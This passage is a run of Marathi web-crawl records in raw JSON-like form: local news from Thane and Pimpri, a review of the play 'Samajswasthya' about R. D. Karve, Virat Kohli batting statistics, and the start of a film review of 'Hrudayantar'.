माझ्याचसाठी लिहिलेले आहे .\nमे १४ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे १५ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे १६ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे १७ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे १८ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे १९ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nविविध देवदेवतांचे आकार, रंग, रूप ही कल्पना कशी आणि कोणी निर्माण केली\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00304.warc.wet.gz", "language": "mr", "language_score": 0.81, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/girl-jumped-off-the-auto-rick-shaw-at-thane-267649.html", "date_download": "2018-09-25T16:51:45Z", "digest": "sha1:D67R2SZEFUUQ7QVSW6C332KE3SM3CTOO", "length": 15754, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "पुन्हा ठाणे !, अपहरण करणाऱ्या धावत्या रिक्षातून तरुणीने मारली उडी", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n, अपहरण करणाऱ्या धावत्या रिक्षातून तरुणीने मारली उडी\nशेअर रिक्षाच्या नावाखाली तरूणीच्या अपहरणाचा प्रयत्न झाल्याचं समोर आलं. मात्र त्या तरूणीनं चालत्या रिक्षातून उडी मारल्यानं ती वाचलीये.\n19 आॅगस्ट : ठाण्यात रिक्षाचालकांची पुन्हा मुजोरी पाहायला मिळालीये. शेअर रिक्षाच्या नावाखाली तरूणीच्या अपहरणाचा प्रयत्न झाल्याचं समोर आलं. मात्र त्या तरूणीनं चालत्या रिक्षातून उडी मारल्यानं ती वाचलीये. रिक्षातल्या सीटसमोर त्या रिक्षाचालकाचे डिटेल्स चिकटवले होते. त्याचा तरूणीनं फोटो काढलाय मात्र मुजोर रिक्षा चालक अजून फरार आहे.\nठाण्यातील शुक्रवारी संध्याकाळी घोडबंदर रोड वर पुन्हा एकदा अमराठी रिक्षाचालकाने मुजोरी केल्याचा प्रकार घडला आहे. विहंग हॉटेलजवळ असलेल्या बस स्टाॅपवर रिक्षाची वाट पाहत असताना भांडूप येथे राहणाऱ्या युवतीने रिक्षाचालकाला विचारले ठाणे स्थानकाला जाणार का त्या वेळी त्यांनी जाणार असं सांगितलं. ही शेअर ऑटो आहे का असं विचारून होय असं उत्तर मिळाल्यावर ती रिक्षात बसली पण इतर कोणत्याही प्रवाश्याला न घेता रिक्षाचालक निघाला तेव्हा काही तरी गडबड असल्याचा संशय आल्याने तिने रिक्षाचालकाला हटकले, यानंतर रिक्षाचालकाने युवतीला शिवीगाळ करत रिक्षा पळवली. युवतीने रिक्षात आरडाओरड केल्यानंतर तिला मदतीला काही लोक पुढे आले. पण रिक्षाचालकाने रिक्षाचा वेग वाढवला पुढे संधी पाहून तिने स्वतःला वाचवण्यासाठी तोल सावरत रिक्षातून उडी मारली या प्रकारात ती जखमी झाली नाही.\nया प्रकारानंतर पीडित युवतीने कंट्रोल रूमला फोन करून माहिती दिली आणि त्यानंतर घाबरलेल्या अवस्थेत घर गाठले. कुटुंबियांना झालेला प्रकार सांगितल्यावर कुटुंबियांनी आराम करून पोलीस तक्रार देण्यास सांगितलं. त्यानंतर आज आपल्या कार्यालयात जावून कार्यालयात देखील झालेला प्रकार सांगून सोबत मदतीला मित्रांना घेऊन कापुरबावडी पोलीस ठाण्यात पीडित युवतीने तक्रार नोंदवली आहे.\nहा धक्कादायक प्रकार सुरू असताना युवतीने हुशारी दाखवत रिक्षातील चालकाच्या सीट मागे रिक्षाची माहिती असलेल्या फलकाचा फोटो आपल्या मोबाईलमध्ये काढाल आहे.त्यामुळे पोलिसांना देखील आरोपीला पकडण्यासाठी विशेष मेहनत घ्यावी लागणार नाहीये. आता या सर्व प्रकारच्या २० तासानंतर कापुरबावडी पोलिसांना जाग आली आणि त्यांनी गुन्हा दाखल करण्याची प्रक्रिया सुरू केली आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00304.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AF%E0%A5%81%E0%A4%B5%E0%A4%95%E0%A4%BE%E0%A4%82%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B2%E0%A4%BE-%E0%A4%9C%E0%A5%8D%E0%A4%AF%E0%A5%87/", "date_download": "2018-09-25T17:59:43Z", "digest": "sha1:WGZRF4EDTCZN4ITUZXKPGKVRA4VXZQL5", "length": 7709, "nlines": 71, "source_domain": "pclive7.com", "title": "युवकांच्या कार्याला ज्येष्ठांचे पाठबळ आणि मार्गदर्शन आवश्यक – प.पू. प्रतिभाकुंवरजी महाराज साहेब | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड युवकांच्या कार्याला ज्येष्ठांचे पाठबळ आणि मार्गदर्शन आवश्यक – प.पू. प्रतिभाकुंवरजी महाराज साहेब\nयुवकांच्या कार्याला ज्येष्ठांचे पाठबळ आणि मार्गदर्शन आवश्यक – प.पू. प्रतिभाकुंवरजी महाराज साहेब\nपिंपरी (Pclive7.com):- देश, धर्माच्या रक्षणासाठी युवा शक्तीची एकजूट महत्वाची आहे. त्यासाठी सर्वच क्षेत्रातील युवकांचे संघटन महत्वाचे आहे व या संघटनातून उभा राहिलेल्या चांगल्या कार्याला जेष्ठांचे पाठबळ आणि मार्गदर्शन आवश्यक असल्याचे प्रतिपादन प.पू.प्रतिभाकुंवरजी महाराज साहेब यांनी केले.\nनिगडी प्राधिकरणातील वर्धमान स्थानकवासी जैन श्रावक संघाच्या वतीने पाटीदार भवन येथे पर्युषण पर्वनिमित्त प.पू.प्रतिभाकुंवरजी महाराज साहेब यांचे प्रवचन आयोजित केले होते. यावेळी प.पू. प्रफुल्लाजी म.सा., प.पू. हंसाजी म.सा., प.पू. पुनितीजी म.सा., प.पू.गरिमाजी म.सा., प.पू.महिमाजी म.सा. आदी ठाणा ६ तसेच संघाचे अध्यक्ष नितीन बेदमुथा, संतोष कर्नावट, मनोज सोळंकी सर्व विश्वस्त व बहुसंख्येने जैन बंधू-भगिनी उपस्थित होते. यावेळी पर्युषण पर्वानिमित्त सकाळी अंतगड सुत्रवाचन, प्रवचन, नवग्रह अनुष्ठान जप, मांगलिक, कल्पसुत्र वाचन, देवसी प्रतिक्रमण आदी विविध धार्मिक कार्यक्रम संपन्न झाले.\nयावेळी ज्येष्ठ उद्योजक कांतीलालजी गोकुळदासजी मुनोत यांना वर्धमान स्थानकवासी जैन श्रावक संघाच्या वतीने जीवन गौरव पुरस्कार देऊन गौरविण्यात आले. संघाचे अध्यक्ष नितीन बेदमुथा, उद्योजक संतोष कर्नावट आणि विश्वस्तांच्या हस्ते मुनोत यांचा गौरव करण्यात आला.\nपिंपरी चिंचवडचे नाव शिक्षण क्षेत्रामध्ये अभिमानाने घेतले जाते – ज्ञानेश्वर लांडगे\nखास गणेशभक्तांसाठी मोरया थिएटर्स निर्मित ‘गणराया’ गीत युटूबवर\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00305.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/inspired-social-health-41827", "date_download": "2018-09-25T17:33:14Z", "digest": "sha1:DKVJ7DNACTWHWV3C5LO5VX52VIPMXS3N", "length": 15088, "nlines": 172, "source_domain": "www.esakal.com", "title": "Inspired by social health \"समाजस्वास्थ्य'ने केले रसिकांना अंतर्मुख | eSakal", "raw_content": "\n\"समाजस्वास्थ्य'ने केले रसिकांना अंतर्मुख\nमंगळवार, 25 एप्रिल 2017\nनाशिक - परंपरागत बुरसटलेल्या विचारांशी स्वातंत्र्यपूर्व काळातच लढा द्यावा लागला नाही, तर आजही तो लढा सुरूच आहे. संततीनियमन, लैंगिक शिक्षण आणि स्त्री-पुरुष निकोप संबंधासाठी आयुष्य वेचणाऱ्या रघुनाथ धोंडो कर्वे यांच्या जीवनावरील समाजस्वास्थ्य नाटकाने रसिकांना अंतर्मुख केले. गिरीश कुलकर्णी यांनी साकारलेली कर्वेंची भूमिका, अजित दळवी यांची संहिता आणि त्याला लाभलेली अतुल पेठे यांच्या दिग्दर्शनाची साथ यामुळे ही नाट्यकृती अतिशय सुंदर झाली.\nनाशिक - परंपरागत बुरसटलेल्या विचारांशी स्वातंत्र्यपूर्व काळातच लढा द्यावा लागला नाही, तर आजही तो लढा सुरूच आहे. संततीनियमन, लैंगिक शिक्षण आणि स्त्री-पुरुष निकोप संबंधासाठी आयुष्य वेचणाऱ्या रघुनाथ धोंडो कर्वे यांच्या जीवनावरील समाजस्वास्थ्य नाटकाने रसिकांना अंतर्मुख केले. गिरीश कुलकर्णी यांनी साकारलेली कर्वेंची भूमिका, अजित दळवी यांची संहिता आणि त्याला लाभलेली अतुल पेठे यांच्या दिग्दर्शनाची साथ यामुळे ही नाट्यकृती अतिशय सुंदर झाली.\nमहाकवी कालिदास कलामंदिरात प्रमोद गायकवाड, सचिन शिंदे, दत्ता पाटील आणि मित्रमंडळींतर्फे नाटकघर पुणेनिर्मित \"समाजस्वास्थ्य' या दोन अंकी नाटकाचा प्रयोग झाला. दिग्दर्शक पेठे यांचा लोकेश शेवडे यांच्या हस्ते सत्कार झाला. श्री. पेठे यांनी प्रेक्षकांशी संवाद साधला.\nज्या काळात लैंगिक शिक्षण, संततीनियमनाविषयी साधा शब्द उच्चारणेही कठीण बाब होती, त्या काळात कर्वे यांनी समाजस्वास्थ्य मासिकाच्या माध्यमातून या विषयावर आवाज उठविला. स्त्रीमुक्ती, स्त्री-पुरुष संबंधाविषयी त्यांनी मासिकातून मोकळेपणाने लिखाण केले. राहत्या घरीच त्यांनी संततीनियमनाचे केंद्र सुरू केले. या कामासाठी त्यांनी पत्नी मालती यांचीही मदत घेतली. लैंगिक शिक्षणाबद्दल त्यांनी जनजागृतीचा ध्यासच घेतला होता. लैंगिकतेविषयी मासिकातून मोकळेपणाने लिहिल्याने कर्वे यांच्यावर खटला दाखल होतो. त्या काळातील समाजातील बुरसटलेल्या विचारांमुळे त्यांच्यावर खटला दाखल होतो. खटल्यात त्यांना शंभर रुपये दंड केला जातो. मात्र, त्यांचे कार्य अविरत सुरूच राहते. एक खटला संपला, की लगेच त्यांच्यावर दुसरा खटला दाखल होत असे. मासिकाच्या प्रती, हस्तलिखीत जप्त केले जाते. या लढाईत डॉ. बाबासाहेब आंबेडकर हेही कर्वे यांच्याबरोबर होते. त्यांनीही कर्वे यांचे वकीलपत्र घेऊन त्यांची बाजू मांडली होती. खटला लढत असताना कर्वेंची आर्थिक परिस्थिती खालावते. त्यानंतर त्यांना वकील देणेही शक्‍य नसते, म्हणून ते स्वतःच खटला लढवितात. समाजस्वास्थ्य मासिकासाठी ते आयुष्य पणाला लावतात.\nनाटकात कुठेही अतिशयोक्ती केलेली नाही. जसे घडले तसेच हुबेहूब मांडण्याचा प्रयत्न केला आहे. नाटकातील घटनेला साजेसे नेपथ्य होते. प्रकाशयोजनाही उत्तम होती.\nगिरीश कुलकर्णी यांनी कर्वेंची, तर राजश्री सावंत-वाड यांनी मालती यांची भूमिका साकारली. प्रदीप मुळ्ये (नेपथ्य), नरेंद्र भिडे (संगीत), प्रदीप वैद्य (प्रकाशयोजना), माधुरी पुरंदरे (वेशभूषा), आशिष देशपांडे (रंगभूषा) यांनी तांत्रिक जबाबदाऱ्या सांभाळल्या.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nसैफ अली खानच्या 'बाजार'चा ट्रेलर प्रदर्शित\nअभिनेता सैफ अली खानचे करिअर सध्या सिनेसृष्टीत फारसे यशस्वी राहिले नाही. सैफचे शेवटचे दोन सिनेमे 'रंगून' आणि 'शेफ' हे बॉक्स ऑफिसवर आपटले. पण आपल्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00305.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mahasports.co.in/virat-kohli-against-australia-in-odi-series-in-india/", "date_download": "2018-09-25T17:01:43Z", "digest": "sha1:PZFYGWROQERTH22TOIRYQGGR2RPKJWE3", "length": 8375, "nlines": 73, "source_domain": "mahasports.co.in", "title": "विराट कोहली ऑस्ट्रेलिया विरुद्ध करणार हा मोठा विक्रम ! -", "raw_content": "\nविराट कोहली ऑस्ट्रेलिया विरुद्ध करणार हा मोठा विक्रम \nविराट कोहली ऑस्ट्रेलिया विरुद्ध करणार हा मोठा विक्रम \n भारतीय संघाचा तिन्ही प्रकारचा कर्णधार विराट कोहली ऑस्ट्रेलिया विरुद्ध सुरु होणाऱ्या मालिकेत अनेक विश्वविक्रम करणार आहे. ५ वनडे सामन्यांची ही मालिका येत्या १७ तारखेपासून चेन्नई येथील सामन्याने सुरु होणार आहे.\nविराट कोहली हा आजकाल प्रत्येक सामन्यात काही ना काही विक्रम करत असतो परंतु ही मालिका त्यासाठी काही खास ठरणार आहे. वनडे, कसोटी आणि टी२० अशा प्रकारात भारतात सार्वधिक धावा करणाऱ्या खेळाडूंच्या यादीत ६व्या स्थानावर येण्यासाठी विराटला आता केवळ १३५ धावांची तर ५व्या स्थानी येण्यासाठी ३०० धावांची गरज आहे.\nसध्या विराटच्या नावावर भारतात ११७ सामन्यात ६२७६ धावा आहेत. विशेष म्हणजे कॅप्टन कूल एमएस धोनीलाही भारतात ७ हजार धावा करण्यासाठी केवळ २१ धावांची गरज आहे.\nभारतात तिन्ही प्रकारच्या क्रिकेटमध्ये सार्वधिक धावा करणारे खेळाडू\n१४१९२ सचिन तेंडुलकर (सामने-२५८ )\n९००४ राहुल द्रविड (सामने- १६७)\n७७९६ वीरेंद्र सेहवाग (सामने१४५- )\n६९७९ एमएस धोनी (सामने-१७६ )\n६५७५ मोहम्मद अझरुद्दीन (सामने-१५९ )\n६४१० सौरव गांगुली (सामने-१३० )\n६२७६ विराट कोहली (सामने- ११७)\nतसेच विराटला या मालिकेत आणखी एक खास विक्रम करता येणार आहे तो म्हणजे भारतात वनडे सामन्यात सार्वधिक धावा करणाऱ्या खेळाडूंच्या यादीत चौथे येण्याचा. विराटने आजपर्यंत भारतात खेळलेल्या ७१ सामन्यात ५८.३९च्या सरासरीने ३५८३ धावा केल्या आहेत. विराटपुढे भारताचा माजी कर्णधार राहुल द्रविड असून त्याने ९७ सामन्यात ४३.११च्या सरासरीने ३४०६ धावा केल्या आहेत.\nभारतात वनडे प्रकारात सार्वधिक धावा करणारे खेळाडू\n६९७६ सचिन तेंडुलकर (सामने-१६४ )\n४१५० एमएस धोनी (सामने-१११ )\n३५०७ युवराज सिंग (सामने-१११ )\n३४०६ राहुल द्रविड (सामने-९७ )\n३३८७ विराट कोहली (सामने- ७१)\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00305.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://lokmat.news18.com/entertainment/hrudayantar-movie-review-264569.html", "date_download": "2018-09-25T17:25:14Z", "digest": "sha1:LETINGCUDUJBAMO4QYXSDXFZAMBWFQDM", "length": 18212, "nlines": 132, "source_domain": "lokmat.news18.com", "title": "हृदयांतर...इमोशनल ब्लॅकमेल !", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'हृदयांतर'मध्ये एक सुंदर सीन आहे. फर्स्टेट झालेला सुबोध डिओर्स घेऊ नको म्हणून समजावणाऱ्या, त्याच्या मॅरेज कॉन्सलर मैत्रिणीला सांगतो. बारा तास जॉब करतो, घरी जातो. शांतता हवी असते. नेमकं तेव्हाच बायकोला बोलायचं असतं, बोलायला हरकत नाही पण बोलताना फोन आला तरीही चालत नाही. ऑफिसमधला 